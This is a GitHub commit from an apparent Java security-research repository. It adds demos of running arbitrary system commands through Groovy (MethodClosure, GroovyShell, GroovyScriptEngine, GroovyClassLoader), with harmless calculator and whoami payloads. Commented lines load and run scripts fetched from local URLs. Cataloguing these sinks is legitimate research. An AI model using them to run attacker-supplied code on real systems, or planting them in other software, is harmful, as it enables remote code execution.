Skip to content

Commit d5f0822

Browse files
committed
add Groovy :)
1 parent 3d6c70d commit d5f0822

File tree

4 files changed

+83
-3
lines changed

4 files changed

+83
-3
lines changed

Command/pom.xml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,13 @@
4040
<artifactId>Utils</artifactId>
4141
<version>1.0-SNAPSHOT</version>
4242
</dependency>
43+
44+
<dependency>
45+
<groupId>org.codehaus.groovy</groupId>
46+
<artifactId>groovy</artifactId>
47+
<version>2.4.3</version>
48+
<!-- <version>2.4.4</version>-->
49+
</dependency>
4350
</dependencies>
4451

4552

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
"open -a Calculator.app".execute()
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
package org.command.code;
2+
3+
import groovy.lang.GroovyClassLoader;
4+
import groovy.lang.GroovyObject;
5+
import groovy.lang.GroovyShell;
6+
import groovy.util.GroovyScriptEngine;
7+
import org.codehaus.groovy.runtime.MethodClosure;
8+
import org.springframework.core.io.Resource;
9+
import org.springframework.core.io.UrlResource;
10+
11+
/**
12+
* @author Whoopsunix
13+
* 参考:https://www.cnblogs.com/yyhuni/p/18012041
14+
*/
15+
public class GroovyDemo {
16+
public static void main(String[] args) throws Exception{
17+
/**
18+
* MethodClosure
19+
*/
20+
// Runtime.getRuntime().exec
21+
// MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
22+
// mc.call("open -a Calculator.app");
23+
// 字符串
24+
// MethodClosure mc = new MethodClosure("open -a Calculator.app", "execute");
25+
// mc.call();
26+
27+
/**
28+
* GroovyShell
29+
*/
30+
// GroovyShell groovyShell = new GroovyShell();
31+
// String cmd = "\"whoami\".execute().text";
32+
// // 还可以通过文件 url 等
33+
// System.out.println(groovyShell.evaluate(cmd));
34+
35+
36+
/**
37+
* GroovyScriptEngine
38+
*/
39+
// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("Command/src/main/java/org/command/code");
40+
//// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:1234/");
41+
// scriptEngine.run("Groovy.groovy", "");
42+
43+
44+
/**
45+
* GroovyScriptEvaluator
46+
*/
47+
// StaticScriptSource
48+
// GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
49+
// ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
50+
// System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
51+
52+
// ResourceScriptSource
53+
// Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
54+
// ScriptSource source = new ResourceScriptSource(urlResource);
55+
// System.out.println(groovyScriptEvaluator.evaluate(source));
56+
57+
58+
/**
59+
* GroovyClassLoader
60+
*/
61+
GroovyClassLoader classLoader = new GroovyClassLoader();
62+
Class clazz = classLoader.parseClass("class Test {\n" +
63+
" static void main(String[] args) {\n" +
64+
" GroovyShell groovyShell = new GroovyShell();\n" +
65+
" String cmd = \"\\\"whoami\\\".execute().text\";\n" +
66+
" println(groovyShell.evaluate(cmd).toString());\n" +
67+
" }\n" +
68+
"}");
69+
GroovyObject object = (GroovyObject) clazz.newInstance();
70+
object.invokeMethod("main", "");
71+
72+
}
73+
}

README.md

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -149,9 +149,8 @@ WildFly 默认容器用的 Undertow
149149

150150
# 0x03 [Code](Command)
151151

152-
## ScriptEngine
153-
154-
参考 Tri0mphe 师傅文章 https://forum.butian.net/share/487
152+
- ScriptEngine
153+
- Groovy
155154

156155
# 0x04 [Expression inject](Expression)
157156

0 commit comments

Comments
 (0)